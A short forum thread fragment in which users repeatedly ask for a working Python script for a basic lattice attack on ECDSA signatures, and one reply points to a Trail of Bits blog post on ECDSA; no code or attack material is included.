Can someone post a working python script for basic lattice attack? Thanks
If you mean working script besides lattice-attack which mentioned by OP, i only can suggest script from this blog https://blog.trailofbits.com/2020/06/11/ecdsa-handle-with-care/.
Still waiting for working script...thanks in advance!
Can someone post a working python script for basic lattice attack? Thanks
Jump to: